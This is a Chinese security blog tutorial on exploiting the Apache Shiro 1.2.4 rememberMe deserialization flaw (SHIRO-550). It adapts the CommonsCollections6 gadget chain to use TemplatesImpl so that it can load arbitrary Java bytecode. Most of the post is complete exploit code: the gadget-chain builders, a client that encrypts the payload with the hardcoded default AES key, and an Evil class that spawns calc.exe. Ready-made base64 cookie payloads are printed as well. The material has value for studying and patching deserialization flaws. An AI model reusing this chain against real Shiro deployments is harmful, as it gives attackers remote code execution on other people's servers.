TemplatesImpl在Shiro中的利用

文章首发自: https://www.le1a.com/posts/6e876d26/

前言

前面学习了CC1、CC3和CC6,其中CC6是不限制版本的一条链,那么为什么还要用到TemplatesImpl这条链呢?不妨我们设想一下:命令执行代码执行到底谁更有价值?

例如在PHP中会遇到一个场景,call_user_funceval都能造成的代码执行,而更多的人愿意使用eval,原因是call_user_func在某种情况下会被限制不能使用assertsystem函数。通过TemplatesImpl构造的利用链,理论上可以执行任意Java代码。

Shiro反序列化原理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
Shiro 1.2.4版本默认固定密钥:kPH+bIxk5D2deZiIxcaaaA==

影响版本

Shiro 1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550),Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。

漏洞环境搭建

漏洞环境: 点击访问

搭建教程: 点击访问

访问首页,如图所示即已搭建成功

漏洞分析

先添加一波依赖:

<dependency><groupId>org.apache.shiro</groupId><artifactId>shiro-core</artifactId><version>1.2.4</version>
</dependency>
<dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.27.0-GA</version>
</dependency>

先登录抓包一下,使用root/secret登录并勾选Remember Me。

勾选登录后,Cookie会生成rememberMe字段,这条链子的一个攻击流程就是:

  1. CC链生成payload
  2. 使用Shiro默认密钥进行AES加密
  3. 进行Base64编码
  4. 传入Cookie中的remember字段发送给服务器,最后进行反序列化

不过这里的CC链需要改造CC6才能打,我们先直接来打,看看是什么效果捏?

package Shiro;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections6 {public static byte[] getPayload(String command) throws Exception {Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class },new String[] { command }),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);// 不再使用原CommonsCollections6中的HashSet,直接使用HashMapMap innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.remove("keykey");Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();return barr.toByteArray();}
}
package Shiro;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client {public static void main(String[] args) throws Exception{ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.get(Shiro.Evil.class.getName());byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());AesCipherService aes = new AesCipherService();byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");ByteSource ciphertext = aes.encrypt(payloads, key);System.out.printf(ciphertext.toString());}
}

加密的过程,我直接使用的shiro内置的类org.apache.shiro.crypto.AesCipherService,最后生成一段base64字符串:

8hUffthcUeeLkklAI0FNJwESbBbDgOXdmJZgVFIT091XnNe8AOefNV7cz1O+X4eHMxpoy0Yzl4Kd4QNpXNf97iBIBmwtdH5ld15SJBREX947DUjYxeG2byCRGHkrYvR+7qpx+d8wXQoK1lspXdu3r795ezC/xC0WbmZxxxvrXdRN+BuJr9aiO74mjGB01DkIJUPcoUkVyYawR1uvhpWJQTQzIoLCkySrElzp7SHMxivFl5QMer/ZOwNjhXRWzbrL9nuWrWve9ZCvkhKEAARINETCy40jzHa4zoKoGlZN1wEfqX39eAQ9Onh5GKMc/MM1He/PQEgOt8LykMiJjBs6aoYVjRl4KOgr3M940sJNTJjFOVPtnf1NK3mMqzy2zB5jn1RMkG9L0VIwo1OXcGSlJOftS1V2b+sBjCD3NwqCBAbXrluTxrFz4umWdb+SqQtSC5162IwLVL+Zbmgj/ygXYvTFUvrgf8DpYhT8t4KvJxYKT/vNfdukWhe1NRWUGKmrT3n7s/L7l6+h82bLkf6XxW38mHliDcCuVbTi8qQW4qGdp3c5CfBF6vWbSlsv7904KuUXhSyaiJCpyLuPKcG0AB4B4Rk/9zQ9iq/IAA7g/r/z3KhvonSZXAm75xoqpV8UAjx+LHi9e/lbYvaOOi9EqxWZVEVdXU8Nac3IOSeW9OydVl1ICHb2LLOS2I8wY3TlZRnJPj7CS+KkT6R4NW9IidzKju1PXgcU1QlKjcfQ90CeWclI+zFVCbIxQY4khNkPYjBzTdTitAV0Uvd/76Su9CDlfVaMAtNDJ9omivf4Lb4UiQCmz8lUfSQFhvK5FYqZi28v+Y18WlOls8lS0YdsnCpvVThwg3MkQKJfBCkKx3Fj5kqn1j2jCcdp24RZ5Vqov7urUli3hXL2I7fekicuDwgyq3defCQ+uIRhAzFYxwejKKJgvOLyPHLpJh5aPPR2UD7DdR3sDY3yjg1Gb3grg+9hnRJ6YQ92EJLt5migQxLWOQK12kFBbWn01zIFWWJweWDtYUzhsV13UDuMg774rrD0PawLSi9f+zlVqJBsuAxoTDE/g1sBD1Vg8IcJI1L6BFdLn8gANeFlGFjoYTfBTcfbl6DRCGAw3RPOPBohQhwuCLyZKNdPVCzZjlHg2NEND4DRZItLfLEjYXUz/M91eX3ifiHVHlkG8UrpeqjH/z5a5ZjoO0N+Aq7aF+f7mxVTYf+ppvVPWO7OniM/7xntaU7SeX1NMku8XsnBwNUf02ibLCIbHgdZX2rJdHWuxn7AXUAJ//W4xIGgYn6mX3/lCnaqNxwwjFudwho55aowtBunUUX+yE3ZZxTEjAQHfcML2idFerDOBYxdcfLcwmS/XEklmf2chX5odNg179dJglwzKjGwJVij9ZWhuu6r4eqQ5WF/9dc2wNXDQzJ9R1Nv1ylMgtRpOka1XUVY7VK1Qv1q0gdHeuvDhmwQn+tCh5C+pBkzA+O0JokZEGUjOksi1DIKCJBbuNCJB8m+vTgl/coJ5vVTR0p58u0gdmlpUMSPy+Z8PEvBxL9erE1YUvQYkD5d3rGqC2ZHldMKhv668ru3DvtiqVfg3nm7d1QHRPqeBz3HU2qNUVvgJGqihwu9O9m2AWLQ6bLKBneRt7P3vH/hRM7ZW2ZTkC+0XBMKiMYfRrcMlF5u4gvLkP9REaYAVgPwWHV7C86sncQFzQdNh+sPoyRVVBZYV832Ay7xzWJc

可以看到,是没有成功弹出计算器的,我们来思考一下为什么呢?

P牛在其Java安全漫谈中给出了答案: 如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。

构造不含数组的反序列化Gadget

接下来,看看如何使用TemplatesImpl来改造CC6。CC6分析传送门首先可以通过下面这几行代码来执行一段Java的字节码

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();

而在CC3中介绍了,利用InvokerTransformer 调用 TemplatesImpl#newTransformer 方法:

Transformer[] transformers = new Transformer[]{new ConstantTransformer(obj),new InvokerTransformer("newTransformer", null, null)
};

但是这里仍然是用到了Transformer[],所以还算不满足条件。

CommonsCollections6中使用了TiedMapEntry这个类,它的构造函数接受了两个参数,一个是Map,一个是对象Key。TiedMapEntry类有个getValue调用了map的get方法,并传入key。

public Object getValue() {return map.get(key);
}

当这个map被传入LazyMap的时候,其get方法就触发了transform()方法。

public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);
}

在以前构造CC6的时候,这里参数key的值实际上是可以随意设置的,因为Transformer[]数组的首个对象是ConstantTransformer,我们是通过ConstantTransformer来初始化恶意对象。

但是现在不能使用Transformer[]数组了,自然也就不能使用ConstantTransformer了。但是此时这个LazyMap#get 的参数key却让人引起重视,因为这个key会被传入transform(),也就是它也能扮演ConstantTransformer的角色,用来传递恶意对象。

改造CommonsCollections6为 CommonsCollectionsShiro

首先第一步还算使用TemplatesImpl对象:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后用newTransformer方法的InvokerTransformer,但此时先构造一个fake,防止恶意方法在构造链子的时候触发:

Transformer transformer = new InvokerTransformer("getClass", null, null);

然后下面就继续用CC6的代码,在TiedMapEntry构造的时候,第二个参数key传入刚刚创建的TemplatesImpl对象:

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();

之前使用的outerMap.remove来移除keykey这个值,这里可以用过 outerMap.clear()效果是一样的。

最后,将 InvokerTransformer 的方法从人畜无害的 getClass ,改成 newTransformer(用于初始化,触发恶意类的构造函数)

完整CommonsCollectionsShiro:

package Shiro;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CommonsCollectionsShiro {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public byte[] getPayload(byte[] clazzBytes) throws Exception {TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer transformer = new InvokerTransformer("getClass", null, null);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformer);TiedMapEntry tme = new TiedMapEntry(outerMap, obj);Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.clear();setFieldValue(transformer, "iMethodName", "newTransformer");// ==================// 生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();return barr.toByteArray();}
}

写一个Client.java来配合链子生成payload:

package Shiro;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client {public static void main(String[] args) throws Exception{ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.get(Shiro.Evil.class.getName());byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());AesCipherService aes = new AesCipherService();byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");ByteSource ciphertext = aes.encrypt(payloads, key);System.out.printf(ciphertext.toString());}
}

Evil类

还有一个Evil类,用到了javassist,它是一个字节码操纵的第三方库,可以帮助我们把恶意类转化为字节码文件,再传入TemplatesImpl进行类加载。

package Shiro;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Evil extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public Evil() throws Exception {super();System.out.println("Hello TemplatesImpl");Runtime.getRuntime().exec("calc.exe");}
}

Payload:

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

最后

  • Shiro不是遇到Tomcat就一定会有数组这个问题

  • Shiro-550的修复并不意味着反序列化漏洞的修复,只是默认Key被移除了,还有新的Shiro721

  • Shiro550使用已知密钥撞,Shiro721是使用登录后rememberMe={value}去爆破正确的key值进而反序列化,对比Shiro550条件只要有足够密钥库(条件比较低)、Shiro721需要登录(要求比较高鸡肋)

TemplatesImpl在Shiro中的利用相关推荐

  1. Shiro反序列化漏洞利用笔记

    Shiro反序列化漏洞利用笔记 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.目前在Java web应用安全框架中,最热门的产品有Spring Sec ...

  2. Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721)

    Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721) Shiro简介 Apache Shiro 是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能,Shiro ...

  3. 利用fputc函数写一个putw(w,fp)函数,将整数w写入fp所指文件中; 利用fgetc函数写一函数getw(fp)从所指文件读出一整数

    <程序设计基础-c语言>杨莉 刘鸿翔 ISBN-978-7-03-032903-5 p257 习题8 5.利用fputc函数写一个putw(w,fp)函数,将整数w写入fp所指文件中: 利 ...

  4. java 2d划线 刷子_Java图形设计中,利用Bresenham算法实现直线线型,线宽的控制(NO2DGRAPHICS)...

    Java图形设计中,利用Bresenham算法实现直线线型,线宽的控制(NO2DGRAPHICS) (2007-04-05 23:37:39) Java 2D Graphics提供了强大的画线功能,可 ...

  5. Shiro中进行角色与权限认证流程

    场景 使用Shiro的JdbcRealm实现查询数据库进行身份认证: https://blog.csdn.net/BADAO_LIUMANG_QIZHI/article/details/9010599 ...

  6. java正则表达式匹配数字范围_在java中怎么利用正则表达式匹配数字

    在java中怎么利用正则表达式匹配数字 发布时间:2020-12-03 17:47:12 来源:亿速云 阅读:58 作者:Leah 在java中怎么利用正则表达式匹配数字?针对这个问题,这篇文章详细介 ...

  7. 浅谈JAVA中如何利用socket进行网络编程(二)

    转自:http://developer.51cto.com/art/201106/268386.htm Socket是网络上运行的两个程序间双向通讯的一端,它既可以接受请求,也可以发送请求,利用它可以 ...

  8. Django中models利用ORM对Mysql 进行查表的语句(多个语句)

    Django中models利用ORM对Mysql 进行查表的语句(多个语句) 字段查询 all():返回模型类对应表格中的所有数据. get(): 返回表格中满足条件的一条数据,如果查到多条数据,则抛 ...

  9. C Builder中如何利用消息

    规范的BCB过程利用Application->Run()进去消息循环,在Application的ProcessMessage措施中,利用PeekMessage措施从消息队列中提取消息,并将此消息 ...

最新文章

  1. NewPhy.-揭秘优势种dominant species
  2. boost::leaf::exception用法的测试程序
  3. 用 Redis 实现分布式锁(Java 版)
  4. 算法系列15天速成——第十三天 树操作【下】
  5. 文献记录(part1)--NP-hardness of Euclidean sum-of-squares clustering
  6. 数据结构之插入排序:折半插入排序算法
  7. codesys 串口通讯实例_CODESYS线上直播,解读控制器开发那些事儿(二)
  8. java 取对象的类_Java中通过Class类获取Class对象的方法详解
  9. Android--应用开发1(应用程序框架)
  10. 文本整理器 v3.0 官方
  11. adadelta算法_(学习率自适应的梯度下降算法)ADADELTA: AN ADAPTIVE LEARNING RATE METHOD(2012)...
  12. 矩阵乘法np.dot()及np.multipy()区别
  13. AMD GPU 系列版本信息
  14. IReader Silverlight电子阅读器介绍开源项目
  15. tikz 折线 箭头_这种箭头用LaTex怎么实现?
  16. CGO 之 Dll调用
  17. python dbf 修改_Python修改DBF文件指定列
  18. 2016 杭州云栖大会随笔
  19. 大榕树BASIS QQ群
  20. C++ 数组名a、数组名取地址a、数组首地址a[0]、数组指针*p

热门文章

  1. 2020身高体重标准表儿童_【宝宝身高体重标准表】儿童身高体重标准表2020、2019_身高体重标准表_亲子百科_太平洋亲子网...
  2. 同步脑电图-功能磁共振融合推断宏观脑动力学
  3. python data_Python data.Data方法代码示例
  4. Windows下Visual Studio Code配置Shell开发环境 (超详细图文)| 瞬间提高200%生产力
  5. 启动马达接线实物图_软启动器怎么接线?一张电路图一张实物图供大家参考
  6. 我叒玩坏eclipse以后决定把问题记录下来了
  7. 批处理获取整台计算机的盘符,可以用批处理的方法更改盘符吗?
  8. 中国计算机科学前沿官网,计算机科学前沿技术Frontier Technologies in Computer Science课件...
  9. IAP的无线版(stm32无线下载程序)(基于有线升级)
  10. vue h5(网页) 调用相机拍照和相册,实现多张图片上传功能